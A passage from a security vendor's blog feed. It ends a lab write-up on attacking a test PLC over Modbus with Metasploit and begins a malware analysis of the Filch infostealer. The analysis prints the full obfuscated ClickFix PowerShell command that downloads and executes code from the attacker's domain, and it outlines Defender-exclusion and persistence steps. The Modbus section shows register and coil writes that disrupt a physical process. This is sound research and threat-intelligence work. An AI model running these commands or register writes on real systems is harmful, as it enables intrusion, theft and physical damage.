class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="KB4.png" asset-alt="KB4.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9324e965a720a02d/68b7213736f57ea1aae78b08/KB4.png" data-sys-asset-uid="blt9324e965a720a02d" data-sys-asset-filename="KB4.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="KB4.png" sys-style-type="display"/></figure><p><span style='font-size: undefined;'><em>Defining Global Variables with Read/Write Permissions</em></span></p><h2>Adding some structure</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Now that we have defined the variables, we can begin creating the program for the device. For general audience readability, we will be using Structured Text (.st) for this program. Ladder Logic is more commonly used in day-to-day operations, however a better understanding of the code of the program will aid us in understanding why a specific attack may work in certain situations. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The first thing we need to do is map the direct outputs which we will use to provide voltage to their associated global variables. This will allow the program to open or close circuits in accordance with its programming cycle:</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta6bd54fec1761f00/68b7213779acbb75a965b904/KB5.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="KB5.png" asset-alt="KB5.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta6bd54fec1761f00/68b7213779acbb75a965b904/KB5.png" data-sys-asset-uid="blta6bd54fec1761f00" data-sys-asset-filename="KB5.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="KB5.png" sys-style-type="display"/></figure><p><span style='font-size: undefined;'><em>Mapping Direct Outputs to Variables</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Our next step is to create the program logic itself. The IF statements used here should be straightforward to interpret. Timer1 and its associated statements establish a 1 second pulse for the timer cycle. The code proper describes a 75 second loop which does the following:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Opens the ball valve to let liquid into container 1 and turns on the green pilot light for 15 seconds</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Closes the ball valve and turns on the red pilot light to simulate the </span><span style='font-size: undefined;'><span data-type='inlineCode'>chemical process</span></span><span style='font-size: undefined;'> occurring in container 1 for 45 seconds</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Turns on the pump to move liquid to container 2 and turns on the yellow pilot light for 15 seconds</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Loop</span></p></li></ul><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc794dec3097e54c7/68b72138887ef8bf8ff62fbc/KB6.png" height="608" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="KB6.png" asset-alt="KB6.png" width="478" max-width="478" max-height="608" style="max-width: 478px; width: 478px; max-height: 608px; height: 608px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc794dec3097e54c7/68b72138887ef8bf8ff62fbc/KB6.png" data-sys-asset-uid="bltc794dec3097e54c7" data-sys-asset-filename="KB6.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="KB6.png" sys-style-type="display"/></figure><p><em>Created Program Code</em></p><p><em></em></p><p style="direction: ltr;"><span style='font-size: undefined;'>Now we can start to address some of the underlying issues with this code. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>First, we need to explore the beginning </span><span style='font-size: undefined;'><span data-type='inlineCode'>valve in </span></span><span style='font-size: undefined;'>section. This defines states for each variable, which is more important than you might think. In software engineering, we tend to define and call variables only when needed. However in ICS engineering, underdefined variables can pose a great risk. When using a protocol such as Modbus, an attacker may be able to directly interact with variables in such a way that it would be equivalent to a process injection attack. When variables are defined, this is not an issue as the PLC will constantly write the values it believes should be active to any variables – but an under-defined variable would allow for alteration until the next time the PLC sets its state:</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd5d313019f8d2bef/68b721375ee14de5d96241b5/KB7.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="KB7.png" asset-alt="KB7.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd5d313019f8d2bef/68b721375ee14de5d96241b5/KB7.png" data-sys-asset-uid="bltd5d313019f8d2bef" data-sys-asset-filename="KB7.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="KB7.png" sys-style-type="display"/></figure><p><span style='font-size: undefined;'><em>'Valve In' Code Properly Defines all Variables</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For instance, the other sections are not as safe in their definition. The </span><span style='font-size: undefined;'><span data-type='inlineCode'>chemical process</span></span><span style='font-size: undefined;'> section shuts off the valve from the prior section, but assumes the pump remains in the same state it was previously as no changes have occurred within the program:</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt827bbc97ece9e6fe/68b7213709309b280068aed0/KB8.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="KB8.png" asset-alt="KB8.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt827bbc97ece9e6fe/68b7213709309b280068aed0/KB8.png" data-sys-asset-uid="blt827bbc97ece9e6fe" data-sys-asset-filename="KB8.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="KB8.png" sys-style-type="display"/></figure><p style="text-align: left;direction: ltr;"><span style='font-size: undefined;'><em>Pump Variable Missing from ‘Chemical Process’ Segment</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Likewise, for the </span><span style='font-size: undefined;'><span data-type='inlineCode'>pump out</span></span><span style='font-size: undefined;'> phase, similar issues arise which allow for vulnerabilities with the valve:</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb730d50975a65622/68b72137cf96664038ec71b5/KB9.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="KB9.png" asset-alt="KB9.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb730d50975a65622/68b72137cf96664038ec71b5/KB9.png" data-sys-asset-uid="bltb730d50975a65622" data-sys-asset-filename="KB9.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="KB9.png" sys-style-type="display"/></figure><p style="text-align: left;direction: ltr;"><span style='font-size: undefined;'><em>Valve Variable Missing from ‘Pump Out’ Segment</em></span></p><h2>Burning down the house</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Now that we have created the code, we can hit the </span><span style='font-size: undefined;'><span data-type='inlineCode'>Download</span></span><span style='font-size: undefined;'> button within Connected Components Workbench to download our program to the PLC for use. Now that it is running, we can begin initial enumeration for attack. A basic Nmap scan against port 502 (Modbus TCP) reveals a device from Rockwell Automation with the service available.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Something which is extremely useful when testing in ICS environments are Organizationally Unique Identifiers (OUI). These identifiers are determined by the first three octets of a MAC address. While we used Nmap here, in live environments, such scanning may not be safe. Older devices may not know how to interpret unexpected packets, leave connections open without resetting them, or may run out of memory if scans come in too soon – all of which could result in a fault or crash. Such errors could result in potentially catastrophic cascading failures, and as such active enumeration should be avoided in cases where impacts might be uncertain. Passive techniques such as packet captures would provide the MAC address of devices sending traffic on the network, which could then be used to determine the manufacturer and potentially identify the type of device.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b18f1aaf106ca95/68b72138471af6ad981ecc3a/KB10.png" height="421" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="KB10.png" asset-alt="KB10.png" width="629" max-width="629" max-height="421" style="max-width: 629px; width: 629px; max-height: 421px; height: 421px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b18f1aaf106ca95/68b72138471af6ad981ecc3a/KB10.png" data-sys-asset-uid="blt5b18f1aaf106ca95" data-sys-asset-filename="KB10.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="KB10.png" sys-style-type="display"/></figure><p><span style='font-size: undefined;'><em>Rockwell Device Detected by OUI</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Once we know the IP of the device, we can use Metasploit’s very useful </span><span style='font-size: undefined;'><span data-type='inlineCode'>auxiliary/scanner/scada/modbusclient</span></span><span style='font-size: undefined;'> module to interact with the Modbus protocol. This module allows for specific interaction across many different registry addresses and is packaged in an easy to work with form. Other methods of interaction such as with the PyModbus library do exist and can be useful for more technical interactions – but for our purposes, this module will work very well.</span></p><p><span style='font-size: undefined;'><em></em></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt4dcb73810e7a56ee/68b7213895b27d45c1c6f477/KB11.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="KB11.png" asset-alt="KB11.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt4dcb73810e7a56ee/68b7213895b27d45c1c6f477/KB11.png" data-sys-asset-uid="blt4dcb73810e7a56ee" data-sys-asset-filename="KB11.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="KB11.png" sys-style-type="display"/></figure><p><span style='font-size: undefined;'><em>Metasploit Module for Modbus Protocol</em></span></p><p><span style='font-size: undefined;'></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For our first enumeration we will start by reading the holding registers while the program is running. From our setup, we know that the holding registers should contain the timer value, which could potentially lead to exploitation. By selecting the action </span><span style='font-size: undefined;'><span data-type='inlineCode'>read_holding_registers</span></span><span style='font-size: undefined;'> we can access these registers and attempt to read their data:</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b4c3047adc20d1e/68b72138c0da105174de772f/KB12.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="KB12.png" asset-alt="KB12.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b4c3047adc20d1e/68b72138c0da105174de772f/KB12.png" data-sys-asset-uid="blt5b4c3047adc20d1e" data-sys-asset-filename="KB12.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="KB12.png" sys-style-type="display"/></figure><p><span style='font-size: undefined;'><em>Modbus Module Configuration Options</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Now we can set the data address (where we start reading from) to 0. The module will automatically update addresses based on the action used. As we are using the </span><span style='font-size: undefined;'><span data-type='inlineCode'>read_holding_registers</span></span><span style='font-size: undefined;'> action, the address space will automatically be set to 40001, so we will start at the initial value of 0 and read two consecutive registers from the host.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2e7ddbcea880ad17/68b7213895b27d5aacc6f473/KB13.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="KB13.png" asset-alt="KB13.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2e7ddbcea880ad17/68b7213895b27d5aacc6f473/KB13.png" data-sys-asset-uid="blt2e7ddbcea880ad17" data-sys-asset-filename="KB13.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="KB13.png" sys-style-type="display"/></figure><p style="text-align: left;direction: ltr;"><span style='font-size: undefined;'><em>Modbus Module Configuration</em></span></p><p><span style='font-size: undefined;'></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>We run the command twice, with the second attempt two seconds after the first, and determine that the numbers are going up and are likely related to a timer. From the perspective of a malicious actor working in a blackbox context, the logic for the timer cycle could be reverse-engineered by polling the addresses every second for a few minutes:</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte2fc2f76981464c6/68b721381b488dd21bbff61c/KB14.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="KB14.png" asset-alt="KB14.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte2fc2f76981464c6/68b721381b488dd21bbff61c/KB14.png" data-sys-asset-uid="blte2fc2f76981464c6" data-sys-asset-filename="KB14.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="KB14.png" sys-style-type="display"/></figure><p><span style='font-size: undefined;'><em>Reading Holding Registers</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Next we can use the </span><span style='font-size: undefined;'><span data-type='inlineCode'>write_registers</span></span><span style='font-size: undefined;'> action to write a value, set by the data parameter, to the register at 40001. As this timer is actively in use by the program and the exposed holding register is not copied from an internal variable, any alterations should be ingested into the program and allow us to control the timer cycle directly:</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt822b7a72a347a221/68b72138c610792851d8869f/KB15.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="KB15.png" asset-alt="KB15.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt822b7a72a347a221/68b72138c610792851d8869f/KB15.png" data-sys-asset-uid="blt822b7a72a347a221" data-sys-asset-filename="KB15.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="KB15.png" sys-style-type="display"/></figure><p style="text-align: left;direction: ltr;"><span style='font-size: undefined;'><em>Successful Write to Holding Register</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>By checking the bench, we can see that the light has changed to green, resetting the timer cycle entirely. This can be a dangerous logic vulnerability as the timer cycle directly correlates to every other action taken by the board. If a malicious actor wanted to flood the floor with water, spamming write 0 to the register would keep the valve open in perpetuity. Likewise, the other situations would impact operations just as much and could lead to severe results depending on the sensitivity of the chemical process being simulated:</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt4c3a8b7af591013d/68b7213836f57ea93be78b0c/KB16.png" height="483" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="KB16.png" asset-alt="KB16.png" width="644" max-width="644" max-height="483" style="max-width: 644px; width: 644px; max-height: 483px; height: 483px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt4c3a8b7af591013d/68b7213836f57ea93be78b0c/KB16.png" data-sys-asset-uid="blt4c3a8b7af591013d" data-sys-asset-filename="KB16.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="KB16.png" sys-style-type="display"/></figure><p><em>Timer Reset Through Manual Register Tampering</em></p><p><em></em></p><p style="direction: ltr;"><span style='font-size: undefined;'>In similar fashion the </span><span style='font-size: undefined;'><span data-type='inlineCode'>read_coils</span></span><span style='font-size: undefined;'> action allows us to enumerate the value of all coils on the device. By comparing these values to those of the timer in the holding register, an attacker could likely reverse-engineer the coil logic itself as well. We can see three sections distinctly shown which correlate to the </span><span style='font-size: undefined;'><span data-type='inlineCode'>chemical process</span></span><span style='font-size: undefined;'> section with its single red light (0,0,1,0,0), the </span><span style='font-size: undefined;'><span data-type='inlineCode'>pump out</span></span><span style='font-size: undefined;'> section with an active pump and yellow light (0,1,0,1,0), and the </span><span style='font-size: undefined;'><span data-type='inlineCode'>valve in</span></span><span style='font-size: undefined;'> section with the green light (1,0,0,0,1):</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt35e7d4190aad0155/68b72138c53b049d4ff96d96/KB17.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="KB17.png" asset-alt="KB17.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt35e7d4190aad0155/68b72138c53b049d4ff96d96/KB17.png" data-sys-asset-uid="blt35e7d4190aad0155" data-sys-asset-filename="KB17.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="KB17.png" sys-style-type="display"/></figure><p><span style='font-size: undefined;'><em>Reading Modbus Coils</em></span></p><p><span style='font-size: undefined;'><em></em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Exploiting the underdefined coils works similarly to the attack path previously described: by manually closing the valve circuit (associated with coil address 4 as the addresses start with 0) while in the </span><span style='font-size: undefined;'><span data-type='inlineCode'>pump out</span></span><span style='font-size: undefined;'> section, we can open the valve during the phase and double the amount of fluid into container 1:</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt83f5c7761ebaca0c/68b72138af26f192d3748ca2/KB18.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="KB18.png" asset-alt="KB18.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt83f5c7761ebaca0c/68b72138af26f192d3748ca2/KB18.png" data-sys-asset-uid="blt83f5c7761ebaca0c" data-sys-asset-filename="KB18.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="KB18.png" sys-style-type="display"/></figure><p><em>Successful Exploitation of Vulnerable Program Logic</em></p><h2>Recap and review</h2><p style="direction: ltr;"><span style='font-size: undefined;'>We’ve now successfully performed attacks against the bench after programming in specific flaws to make it vulnerable to specific techniques - methods that actively work in many operational environments even to this day. While Rapid7 does not perform highly invasive testing against live operational equipment which may specifically impact operations, we do perform such actions against staging or test deployments. Being able to review and exploit logic in a test environment which contains physical inputs and outputs, even at simulated levels, can help to find true gaps within PLC program security.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>There exist multiple wonderful digital labs which can allow you to learn more of the basics of OT security and penetration testing such as Factory.io and Labshock, and I highly recommend these to anyone interested in diving into ICS security assessments. The main drawback to these systems is a lack of modularity for niche cases that might make it hard to properly simulate the logic you need to test.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The best part about a test bench is that it can always be modified to suit the needs of the logic. While you might not be able to get an industrial motor, you can get a cheap buck converter and small motor to simulate the equipment used in the field. These small changes can allow for unconventional, but effective, approaches to testing a PLC program.</span></p><h2>Still to come:</h2><p style="direction: ltr;"><span style='font-size: undefined;'>In the final section, we will look at developing sample malware specific to our test environment to provide more insight into what such malware may look like. While we often hear of OT-specific malware, it often seems mysterious and complex. Understanding that there is no inherent difference between IT and OT malware is the first step in reducing some of the fear. The goal? Increase understanding, which improves  prevention, triage, and command of our infrastructure.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/an-earth-shattering-kaboom-bringing-a-physical-ics-penetration-testing-environment-to-life-part-2</link>
      <guid isPermaLink="false">blt0487c8eb3ff451a1</guid>
      <category><![CDATA[Malware]]></category>
      <category><![CDATA[Research]]></category><dc:creator><![CDATA[Anna Katarina Quinn]]></dc:creator>
      <pubDate>Tue, 02 Sep 2025 17:40:19 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltebc2810157aecfaf/68af2715c53b04810df94abb/blog-hero-generic-pixel.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Filch Stealer: A new infostealer leveraging old techniques]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Introduction</h2><p style="direction: ltr;"><span style='font-size: undefined;'>In recent weeks, Rapid7 has observed an increased volume of incidents involving domains generated by domain generation algorithms (DGAs). DGAs are a known technique leveraged by malware authors to quickly create a large number of domain names, which will point to command and control (C2) servers operated by the attackers. Observed domains shared multiple commonalities such as .infotop-level domains and a fixed length of 24 alphanumeric characters.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Attacks that start with a ClickFix social engineering lure quickly morph into more sophisticated campaigns using PowerShell scripts hosted on a remote server for in-memory execution of obfuscated .NET loader, which in turn injects a newly-discovered infostealer into MSBuild.exe via process hollowing. The final payload, dubbed ‘Filch Stealer,’ collects information about infected hosts, such as machine type and user name, installed antivirus products, and crypto-related applications and wallets. Once this information is exfiltrated to C2, Filch then awaits commands from the operator which could include file execution, wallet theft, and more.</span></p><h2 style="direction: ltr;">Technical analysis </h2><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Initial access</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>From the available evidence, this campaign is using a social engineering technique called </span><a href="https://www.hhs.gov/sites/default/files/clickfix-attacks-sector-alert-tlpclear.pdf"><span style='font-size: undefined;'>ClickFix</span></a><span style='font-size: undefined;'> to execute the first stage of the attack by prompting the user to “verify that they are human.” </span></p><div alt="FS1.png" position="none" inline="true" height="469" class="embedded-asset" display-type="display" asset-uid="bltf9215983d1851ef5" content-type-uid="sys_assets" asset-link="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf9215983d1851ef5/685027f67eeacd12ee8176af/FS1.png" asset-name="FS1.png" asset-type="image/png" type="asset" asset-alt="FS1.png" width="663" style="text-align: center;" style="overflow: hidden"><span><figure style="margin: 0; display: inline-block"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf9215983d1851ef5/685027f67eeacd12ee8176af/FS1.png" alt="FS1.png" inline="true" height="325" caption="test" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="FS1.png" width="459" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf9215983d1851ef5/685027f67eeacd12ee8176af/FS1.png" data-sys-asset-uid="bltf9215983d1851ef5" data-sys-asset-filename="FS1.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="test" data-sys-asset-alt="FS1.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">test</figcaption></div></figure></span></div><p style="text-align: center;"><em>Figure 1: Fake Captcha displayed to the unaware user</em></p><p><span style='font-size: undefined;'></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>After clicking on the verification button, the victim is instructed to follow the steps in the prompt and to open the windows RUN dialog, paste clipboard contents there, and execute them. This leads to the execution of the obfuscated PowerShell script shown below.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'><strong>C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -N"OPr"O —w h –C "$v"jl"ea = 'cm"b"8k"1n"bj"000"00"8"l"1ap"i0"7o0n.inf"o'; $p"h"blnm = Invo"k"e-R"e"st"Me"tho"d" -U"r"i $vj"le"a; I"nv"o"ke"-E"x"pression $phblnm"</strong></span></span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The obfuscation of the PowerShell script is relatively simple; it's just basic string splitting using quotes to break up keywords and the URL. Unfortunately, it’s still enough to bypass some anti-malware products. Once reconstructed, the script fetches and executes a first-stage PowerShell payload from </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>cmb8k1nbj000008l1api07o0n[.]info</strong></span></span><span style='font-size: undefined;'><strong>.</strong></span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Stage 1: PowerShell</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The initial PowerShell script has three core functions: </span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>1. Bypass the Windows Defender</strong></span><span style='font-size: undefined;'> — The script disables antivirus protection by adding an exclusion for the</span><span style='font-size: undefined;'><em><strong> </strong></em></span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>C:\Windows\Temp</strong></span></span><span style='font-size: undefined;'> directory.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>2.</strong></span><span style='font-size: undefined;'> </span><span style='font-size: undefined;'><strong>Establish a Persistence Mechanism</strong></span><span style='font-size: undefined;'> — To maintain persistence across reboots, the script creates a malicious internet shortcut </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>LixPay.url SHA256: 80121F864130538879E34EFFEC35E6B5E30FC9F04A9A57C58154CA87DDBA033C</strong></span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>in Startup folder which points to a file </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>C:\Windows\Temp\LixPay.bat SHA256: 09953B74161F62DE262BD258873E6749F75F6C8D306291BF94C5EE439478C017</strong></span></span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This .bat file is retrieved by the script from the url </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>hxxps://cmb8k1nbj000008l1api07o0n[.]info/test.bat</strong></span></span><span style='font-size: undefined;'><strong>.</strong></span></p><p><span style='font-size: undefined;'><strong></strong></span></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>3.</strong></span><span style='font-size: undefined;'> </span><span style='font-size: undefined;'><strong>Execute the Payload</strong></span><span style='font-size: undefined;'> — The test.bat contains the following payload:</span></p><p alt="FS2.png" position="none" inline="true" class="embedded-asset" display-type="display" asset-uid="blt2f7e378668721393" content-type-uid="sys_assets" asset-link="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2f7e378668721393/685028adbd6d9326ab882840/FS2.png" asset-name="FS2.png" asset-type="image/png" type="asset" asset-alt="FS2.png" style="text-align: left;"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2f7e378668721393/685028adbd6d9326ab882840/FS2.png" alt="FS2.png" inline="true" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="FS2.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2f7e378668721393/685028adbd6d9326ab882840/FS2.png" data-sys-asset-uid="blt2f7e378668721393" data-sys-asset-filename="FS2.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="FS2.png" data-sys-asset-position="none" sys-style-type="display"/></p><p style="text-align: left;"><em>Figure 2: Content of test.bat</em></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>This code uses PowerShell to download a remote script from </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>cmb8k1nbj000008l1api07o0n[.]info/?x</strong></span></span><span style='font-size: undefined;'> and execute it with </span><span style='font-size: undefined;'><span data-type='inlineCode'>Invoke-Expression</span></span><span style='font-size: undefined;'>. This gives the attacker an opportunity to make the final payload more modular, as the content of </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>cmb8k1nbj000008l1api07o0n[.]info/?x</strong></span></span><span style='font-size: undefined;'> can be modified. At the time of the analysis, this URL was hosting a PowerShell script which is almost identical to the original script’s reflective execution function.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Execution is performed reflectively, which means that the file is loaded directly into the memory instead of writing it on the disk and then reading and executing it. The payload is Base64 encoded and the following script is responsible for decoding and executing a heavily obfuscated .NET binary </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>Stub.exe</strong></span></span><span style='font-size: undefined;'>.</span></p><p position="left" class="embedded-asset" display-type="display" asset-uid="blt149a2b488ac0662a" content-type-uid="sys_assets" asset-link="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt149a2b488ac0662a/685028ad44bc4a655ba89bee/FS3.png" asset-name="FS3.png" asset-type="image/png" type="asset" alt="FS3.png" asset-alt="FS3.png" inline="true" style="text-align: left;"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt149a2b488ac0662a/685028ad44bc4a655ba89bee/FS3.png" height="146" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="FS3.png" asset-alt="FS3.png" inline="true" width="618" max-width="618" max-height="146" style="max-width: 618px; width: 618px; max-height: 146px; height: 146px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt149a2b488ac0662a/685028ad44bc4a655ba89bee/FS3.png" data-sys-asset-uid="blt149a2b488ac0662a" data-sys-asset-filename="FS3.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="FS3.png" sys-style-type="display"/></p><p style="text-align: left;direction: ltr;"><span style='font-size: undefined;'><em>Figure 3: Part of the script responsible for reflective loading and executing of the Stub.exe</em></span></p><p><span style='font-size: undefined;'></span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Stage 2: .NET Injector</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Dynamic analysis of the binary originally named </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>Stub.exe SHA256: FA0B8A4DDB0BAC8F532CA5E5CF462564D7ED3B23A90617DD3D6FBAD9D420E921</strong></span></span><span style='font-size: undefined;'> shows it uses a process hollowing technique, injecting malicious code into a suspended </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>MSBuild.exe</strong></span></span><span style='font-size: undefined;'> process. It starts by compiling a C# DLL with </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>csc.exe</strong></span></span><span style='font-size: undefined;'> that implements the hollowing logic and loads it into </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>Stub.exe</strong></span></span><span style='font-size: undefined;'> during execution. A randomly named, 8-character-long directory is created in the </span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>%Temp%</strong></span></span><span style='font-size: undefined;'> folder. Multiple files are dropped into this directory, all sharing the same base name as the directory but differing by extension. These files are removed before the execution of MSBuild.exe, yet the directory itself is left behind — potentially indicating a lack of sophistication in the malware's design.</span></p><table><tbody><tr><td><p><strong>File Name</strong></p></td><td><p><strong>File Hash (SHA 256)</strong></p></td><td><p><strong>File 